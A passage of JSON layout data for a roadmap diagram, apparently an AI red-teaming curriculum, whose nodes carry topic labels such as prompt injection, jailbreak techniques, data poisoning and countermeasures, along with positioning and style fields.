\"textAlign\": \"center\"\n        },\n        \"oldId\": \"nhUKKWyBH80nyKfGT8ErC\"\n      },\n      \"zIndex\": 999,\n      \"width\": 176,\n      \"height\": 49,\n      \"style\": { \"width\": 247, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": -227.16916540260297, \"y\": 13.436864496015943 },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": { \"width\": 176, \"height\": 49 }\n    },\n    {\n      \"id\": \"1gyuEV519LjN-KpROoVwv\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 129.89980850421182, \"y\": 56.36789058920115 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Ethical Considerations\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"gx4KaFqKgJX9n9_ZGMqlZ\"\n      },\n      \"zIndex\": 999,\n      \"width\": 311,\n      \"height\": 49,\n      \"style\": { \"width\": 311, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": 130.89980850421182, \"y\": 64.36789058920115 },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": { \"width\": 311, \"height\": 49 }\n    },\n    {\n      \"id\": \"FcAeu8woDM7N51do6aiBV\",\n      \"type\": \"paragraph\",\n      \"position\": { \"x\": -612.9219566015802, \"y\": -239.7695706291704 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Special thanks to \\\"Learn Prompting\\\" for their help in making this roadmap\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"borderColor\": \"#000000\",\n          \"backgroundColor\": \"#FFFFFf\"\n        },\n        \"oldId\": \"yHmHXymPNWwu8p1vvqD3o\"\n      },\n      \"zIndex\": 999,\n      \"width\": 322,\n      \"height\": 141,\n      \"positionAbsolute\": { \"x\": -611.9219566015802, \"y\": -122.7695706291704 },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": { \"width\": 322, \"height\": 141 },\n      \"resizing\": false,\n      \"measured\": { \"width\": 322, \"height\": 141 }\n    },\n    {\n      \"id\": \"5n6N956H6tfwlQ0vqXW7e\",\n      \"type\": \"button\",\n      \"position\": { \"x\": -595.4219566015802, \"y\": -159.7695706291704 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"learnprompting.org\",\n        \"href\": \"https://learnprompting.org\",\n        \"color\": \"#000000\",\n        \"backgroundColor\": \"#c4c4c4\",\n        \"style\": { \"fontSize\": 17 },\n        \"oldId\": \"R_Fs6rdl2XtQ9aLOubMqL\",\n        \"borderColor\": \"#C4C4C4\"\n      },\n      \"zIndex\": 999,\n      \"width\": 286,\n      \"height\": 49,\n      \"dragging\": false,\n      \"style\": { \"width\": 286, \"height\": 49 },\n      \"resizing\": false,\n      \"positionAbsolute\": { \"x\": -594.4219566015802, \"y\": -42.7695706291704 },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": { \"width\": 286, \"height\": 49 }\n    },\n    {\n      \"id\": \"Irkc9DgBfqSn72WaJqXEt\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 129.89980850421182, \"y\": 109.36789058920115 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Role of Red Teams\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"gx4KaFqKgJX9n9_ZGMqlZ\"\n      },\n      \"zIndex\": 999,\n      \"width\": 311,\n      \"height\": 49,\n      \"style\": { \"width\": 311, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": 130.89980850421182, \"y\": 64.36789058920115 },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": { \"width\": 311, \"height\": 49 }\n    },\n    {\n      \"id\": \"EQrDljYCypm5zlzVmXane\",\n      \"type\": \"paragraph\",\n      \"position\": { \"x\": -237.66916540260297, \"y\": 138.36789058920115 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Foundational Knowledge\",\n        \"style\": {\n          \"fontSize\": 20,\n          \"borderColor\": \"transparent\",\n          \"backgroundColor\": \"transparent\",\n          \"color\": \"#000000\",\n          \"textAlign\": \"center\",\n          \"justifyContent\": \"center\",\n          \"padding\": 16\n        },\n        \"oldId\": \"wg_PryJK5Ucr8bZofa4z-\"\n      },\n      \"zIndex\": 999,\n      \"measured\": { \"width\": 266, \"height\": 55 },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"width\": 266,\n      \"height\": 55,\n      \"resizing\": false\n    },\n    {\n      \"id\": \"USnljlWi_1nOvc-zViBh7\",\n      \"type\": \"paragraph\",\n      \"position\": { \"x\": -222.16916540260297, \"y\": 258.3678905892011 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"AI / ML Fundamentals\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"borderColor\": \"#000000\",\n          \"backgroundColor\": \"#ffffff\",\n          \"color\": \"#000000\",\n          \"textAlign\": \"center\",\n          \"justifyContent\": \"center\",\n          \"padding\": 16\n        },\n        \"oldId\": \"wg_PryJK5Ucr8bZofa4z-\"\n      },\n      \"zIndex\": 999,\n      \"measured\": { \"width\": 235, \"height\": 47 },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"width\": 235,\n      \"height\": 47,\n      \"resizing\": false\n    },\n    {\n      \"id\": \"NvOJIv36Utpm7_kOZyr79\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -613.4219566015802, \"y\": 98.36789058920112 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Supervised Learning\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"887lc3tWCRH-sOHSxWgWJ\"\n      },\n      \"zIndex\": 999,\n      \"width\": 255,\n      \"height\": 49,\n      \"style\": { \"width\": 277, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": 130.89980850421182, \"y\": 64.36789058920115 },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": { \"width\": 255, \"height\": 49 }\n    },\n    {\n      \"id\": \"ZC0yKsu-CJC-LZKKo2pLD\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -613.4219566015802, \"y\": 151.36789058920112 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Unsupervised Learning\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"gx4KaFqKgJX9n9_ZGMqlZ\"\n      },\n      \"zIndex\": 999,\n      \"width\": 255,\n      \"height\": 49,\n      \"style\": { \"width\": 277, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": 130.89980850421182, \"y\": 64.36789058920115 },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": { \"width\": 255, \"height\": 49 }\n    },\n    {\n      \"id\": \"Xqzc4mOKsVzwaUxLGjHya\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -613.4219566015802, \"y\": 204.36789058920112 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Reinforcement Learning\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"gx4KaFqKgJX9n9_ZGMqlZ\"\n      },\n      \"zIndex\": 999,\n      \"width\": 255,\n      \"height\": 49,\n      \"style\": { \"width\": 277, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": 130.89980850421182, \"y\": 64.36789058920115 },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": { \"width\": 255, \"height\": 49 }\n    },\n    {\n      \"id\": \"RuKzVhd1nZphCrlW1wZGL\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -613.4219566015802, \"y\": 257.3678905892011 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Neural Networks\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"gx4KaFqKgJX9n9_ZGMqlZ\"\n      },\n      \"zIndex\": 999,\n      \"width\": 255,\n      \"height\": 49,\n      \"style\": { \"width\": 277, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": 130.89980850421182, \"y\": 64.36789058920115 },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": { \"width\": 255, \"height\": 49 }\n    },\n    {\n      \"id\": \"3XJ-g0KvHP75U18mxCqgw\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -613.4219566015802, \"y\": 310.3678905892011 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Generative Models\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"gx4KaFqKgJX9n9_ZGMqlZ\"\n      },\n      \"zIndex\": 999,\n      \"width\": 255,\n      \"height\": 49,\n      \"style\": { \"width\": 277, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": 130.89980850421182, \"y\": 64.36789058920115 },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": { \"width\": 255, \"height\": 49 }\n    },\n    {\n      \"id\": \"8K-wCn2cLc7Vs_V4sC3sE\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -613.4219566015802, \"y\": 363.3678905892011 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Large Language Models\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"gx4KaFqKgJX9n9_ZGMqlZ\"\n      },\n      \"zIndex\": 999,\n      \"width\": 255,\n      \"height\": 49,\n      \"style\": { \"width\": 277, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": 130.89980850421182, \"y\": 64.36789058920115 },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": { \"width\": 255, \"height\": 49 }\n    },\n    {\n      \"id\": \"gx4KaFqKgJX9n9_ZGMqlZ\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -613.4219566015802, \"y\": 416.3678905892011 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Prompt Engineering\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 255,\n      \"height\": 49,\n      \"style\": { \"width\": 277, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": 130.89980850421182, \"y\": 64.36789058920115 },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": { \"width\": 255, \"height\": 49 }\n    },\n    {\n      \"id\": \"wg_PryJK5Ucr8bZofa4z-\",\n      \"type\": \"paragraph\",\n      \"position\": { \"x\": -222.16916540260297, \"y\": 310.3678905892011 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Cybsecurity Principles\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"borderColor\": \"#000000\",\n          \"backgroundColor\": \"#ffffff\",\n          \"color\": \"#000000\",\n          \"textAlign\": \"center\",\n          \"justifyContent\": \"center\",\n          \"padding\": 16\n        }\n      },\n      \"zIndex\": 999,\n      \"measured\": { \"width\": 235, \"height\": 47 },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"width\": 235,\n      \"height\": 47,\n      \"resizing\": false\n    },\n    {\n      \"id\": \"WZkIHZkV2qDYbYF9KBBRi\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 131.57804339841982, \"y\": 201.36789058920112 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Confidentiality, Integrity, Availability\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"kgDsDlBk8W2aM6LyWpFY8\"\n      },\n      \"zIndex\": 999,\n      \"width\": 310,\n      \"height\": 49,\n      \"style\": { \"width\": 310, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": 130.89980850421182, \"y\": 64.36789058920115 },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": { \"width\": 310, \"height\": 49 }\n    },\n    {\n      \"id\": \"RDOaTBWP3aIJPUp_kcafm\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 131.57804339841982, \"y\": 254.36789058920112 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Threat Modeling\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"887lc3tWCRH-sOHSxWgWJ\"\n      },\n      \"zIndex\": 999,\n      \"width\": 310,\n      \"height\": 49,\n      \"style\": { \"width\": 310, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": 130.89980850421182, \"y\": 64.36789058920115 },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": { \"width\": 310, \"height\": 49 }\n    },\n    {\n      \"id\": \"MupRvk_8Io2Hn7yEvU663\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 131.57804339841982, \"y\": 307.3678905892011 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Risk Management\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"887lc3tWCRH-sOHSxWgWJ\"\n      },\n      \"zIndex\": 999,\n      \"width\": 310,\n      \"height\": 49,\n      \"style\": { \"width\": 310, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": 130.89980850421182, \"y\": 64.36789058920115 },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": { \"width\": 310, \"height\": 49 }\n    },\n    {\n      \"id\": \"887lc3tWCRH-sOHSxWgWJ\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 131.57804339841982, \"y\": 360.3678905892011 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Vulnerability Assessment\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"gx4KaFqKgJX9n9_ZGMqlZ\"\n      },\n      \"zIndex\": 999,\n      \"width\": 310,\n      \"height\": 49,\n      \"style\": { \"width\": 310, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": 130.89980850421182, \"y\": 64.36789058920115 },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": { \"width\": 310, \"height\": 49 }\n    },\n    {\n      \"id\": \"Ds8pqn4y9Npo7z6ubunvc\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 168.28058268338464, \"y\": 443.9408538465145 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Jailbreak Techniques\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"kgDsDlBk8W2aM6LyWpFY8\"\n      },\n      \"zIndex\": 999,\n      \"width\": 261,\n      \"height\": 49,\n      \"style\": { \"width\": 226, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": 130.89980850421182, \"y\": 64.36789058920115 },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": { \"width\": 261, \"height\": 49 }\n    },\n    {\n      \"id\": \"j7uLLpt8MkZ1rqM7UBPW4\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 168.28058268338464, \"y\": 496.9408538465145 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Safety Filter Bypasses\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"kgDsDlBk8W2aM6LyWpFY8\"\n      },\n      \"zIndex\": 999,\n      \"width\": 261,\n      \"height\": 49,\n      \"style\": { \"width\": 226, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": 130.89980850421182, \"y\": 64.36789058920115 },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": { \"width\": 261, \"height\": 49 }\n    },\n    {\n      \"id\": \"XOrAPDRhBvde9R-znEipH\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 168.28058268338464, \"y\": 549.9408538465145 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Prompt Injection\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"kgDsDlBk8W2aM6LyWpFY8\"\n      },\n      \"zIndex\": 999,\n      \"width\": 261,\n      \"height\": 49,\n      \"style\": { \"width\": 226, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": 130.89980850421182, \"y\": 64.36789058920115 },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": { \"width\": 261, \"height\": 49 }\n    },\n    {\n      \"id\": \"1Xr7mxVekeAHzTL7G4eAZ\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": -217.66916540260297, \"y\": 460.34080217184527 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Prompt Hacking\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"uBXrri2bXVsNiM8fIHHOv\"\n      },\n      \"zIndex\": 999,\n      \"width\": 226,\n      \"height\": 49,\n      \"style\": { \"width\": 247, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": -227.16916540260297, \"y\": 13.436864496015943 },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": { \"width\": 226, \"height\": 49 }\n    },\n    {\n      \"id\": \"5zHow4KZVpfhch5Aabeft\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 181.08203978352043, \"y\": 604.3070564234732 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Direct\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"style\": { \"width\": 208 },\n      \"measured\": { \"width\": 108, \"height\": 49 },\n      \"focusable\": true,\n      \"width\": 108,\n      \"height\": 49,\n      \"dragging\": false,\n      \"resizing\": false\n    },\n    {\n      \"id\": \"3_gJRtJSdm2iAfkwmcv0e\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 294.3414717224867, \"y\": 604.3070564234732 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Indirect\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 127,\n      \"height\": 49,\n      \"style\": { \"width\": 208 },\n      \"measured\": { \"width\": 127, \"height\": 49 },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"resizing\": false\n    },\n    {\n      \"id\": \"G1u_Kq4NeUsGX2qnUTuJU\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 168.28058268338464, \"y\": 666 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Countermeasures\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"kgDsDlBk8W2aM6LyWpFY8\"\n      },\n      \"zIndex\": 999,\n      \"width\": 261,\n      \"height\": 49,\n      \"style\": { \"width\": 226, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": 130.89980850421182, \"y\": 64.36789058920115 },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": { \"width\": 261, \"height\": 49 }\n    },\n    {\n      \"id\": \"vhBu5x8INTtqvx6vcYAhE\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": -231.66916540260297, \"y\": 764.990589013835 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Code Injection\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"nhUKKWyBH80nyKfGT8ErC\"\n      },\n      \"zIndex\": 999,\n      \"width\": 254,\n      \"height\": 49,\n      \"style\": { \"width\": 236, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": -227.16916540260297, \"y\": 13.436864496015943 },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": { \"width\": 254, \"height\": 49 }\n    },\n    {\n      \"id\": \"EHWGhqS4g0fKsnF-on4VC\",\n      \"type\": \"vertical\",\n      \"position\": { \"x\": 136.57804339841982, \"y\": 446.4408538465145 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": { \"stroke\": \"#2B78E4\", \"strokeWidth\": 3.5 }\n      },\n      \"zIndex\": 999,\n      \"width\": 20,\n      \"height\": 272,\n      \"style\": {},\n      \"measured\": { \"width\": 20, \"height\": 272 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"uBXrri2bXVsNiM8fIHHOv\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": -217.66916540260297, \"y\": 543.5854351053018 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Model Vulnerabilities\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"nhUKKWyBH80nyKfGT8ErC\"\n      },\n      \"zIndex\": 999,\n      \"width\": 226,\n      \"height\": 49,\n      \"style\": { \"width\": 247, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": -227.16916540260297, \"y\": 13.436864496015943 },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": { \"width\": 226, \"height\": 49 }\n    },\n    {\n      \"id\": \"QFzLx5nc4rCCD8WVc20mo\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -603.9572811083598, \"y\": 512.4729819354706 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Model Weight Stealing\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"style\": { \"width\": 219, \"height\": 49 },\n      \"measured\": { \"width\": 234, \"height\": 49 },\n      \"focusable\": true,\n      \"width\": 234,\n      \"height\": 49,\n      \"resizing\": false,\n      \"dragging\": false\n    },\n    {\n      \"id\": \"DQeOavZCoXpF3k_qRDABs\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -603.9572811083598, \"y\": 565.4729819354706 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Unauthorized Access\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 234,\n      \"height\": 49,\n      \"style\": { \"width\": 219, \"height\": 53 },\n      \"measured\": { \"width\": 234, \"height\": 49 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"JMfZg9VvFMAZvIgfSpLCk\",\n      \"type\": \"label\",\n      \"position\": { \"x\": -559.9572811083598, \"y\": 621.3958360247223 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Model Extraction\",\n        \"style\": { \"fontSize\": 17 },\n        \"href\": \"\",\n        \"color\": \"#000000\"\n      },\n      \"zIndex\": 999,\n      \"measured\": { \"width\": 146, \"height\": 38 },\n      \"focusable\": true,\n      \"dragging\": false\n    },\n    {\n      \"id\": \"hw4ErrC1Yy2KU-fdNwrM6\",\n      \"type\": \"section\",\n      \"position\": { \"x\": -614.4572811083598, \"y\": 658.7270619394108 },\n      \"width\": 255,\n      \"height\": 223,\n      \"style\": { \"width\": 235, \"height\": 170 },\n      \"selected\": true,\n      \"data\": {\n        \"style\": { \"backgroundColor\": \"#ffffff\", \"borderColor\": \"#000000\" },\n        \"oldId\": \"t4IWddpRLqlm5vQgE-Cn0\"\n      },\n      \"measured\": { \"width\": 255, \"height\": 223 },\n      \"focusable\": true,\n      \"resizing\": false,\n      \"dragging\": false,\n      \"selectable\": true\n    },\n    {\n      \"id\": \"nD0_64ELEeJSN-0aZiR7i\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -603.9572811083598, \"y\": 670.7270619394108 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Data Poisoning\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"QFzLx5nc4rCCD8WVc20mo\"\n      },\n      \"zIndex\": 999,\n      \"style\": { \"width\": 219, \"height\": 49 },\n      \"measured\": { \"width\": 234, \"height\": 49 },\n      \"focusable\": true,\n      \"width\": 234,\n      \"height\": 49,\n      \"resizing\": false,\n      \"dragging\": false\n    },\n    {\n      \"id\": \"xjlttOti-_laPRn8a2fVy\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -603.9572811083598, \"y\": 723.7270619394108 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Adversarial Examples\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"iE5PcswBHnu_EBFIacib0\"\n      },\n      \"zIndex\": 999,\n      \"width\": 234,\n      \"height\": 53,\n      \"style\": { \"width\": 219, \"height\": 53 },\n      \"measured\": { \"width\": 234, \"height\": 53 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"lhY7I24au9B1b7Wzr-6jR\",\n      \"type\": \"label\",\n      \"position\": { \"x\": -570.4572811083598, \"y\": 836.6123885764944 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Model Manipulation\",\n        \"style\": { \"fontSize\": 17 },\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"oldId\": \"JMfZg9VvFMAZvIgfSpLCk\"\n      },\n      \"zIndex\": 999,\n      \"measured\": { \"width\": 167, \"height\": 38 },\n      \"focusable\": true,\n      \"dragging\": false\n    },\n    {\n      \"id\": \"iE5PcswBHnu_EBFIacib0\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -603.9572811083598, \"y\": 780.7270619394108 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Model Inversion\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"DQeOavZCoXpF3k_qRDABs\"\n      },\n      \"zIndex\": 999,\n      \"width\": 234,\n      \"height\": 53,\n      \"style\": { \"width\": 219, \"height\": 53 },\n      \"measured\": { \"width\": 234, \"height\": 53 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"W-FfFY2KB_5u1sg-8h_Sv\",\n      \"type\": \"section\",\n      \"position\": { \"x\": -614.4572811083598, \"y\": 876.8352736219604 },\n      \"width\": 255,\n      \"height\": 223,\n      \"style\": { \"width\": 235, \"height\": 170 },\n      \"selected\": true,\n      \"data\": {\n        \"style\": { \"backgroundColor\": \"#ffffff\", \"borderColor\": \"#000000\" },\n        \"oldId\": \"hw4ErrC1Yy2KU-fdNwrM6\"\n      },\n      \"measured\": { \"width\": 255, \"height\": 223 },\n      \"focusable\": true,\n      \"resizing\": false,\n      \"dragging\": false,\n      \"selectable\": true\n    },\n    {\n      \"id\": \"2Y0ZO-etpv3XIvunDLu-W\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -603.9572811083598, \"y\": 888.8352736219604 },\n      \"selected\": true,\n      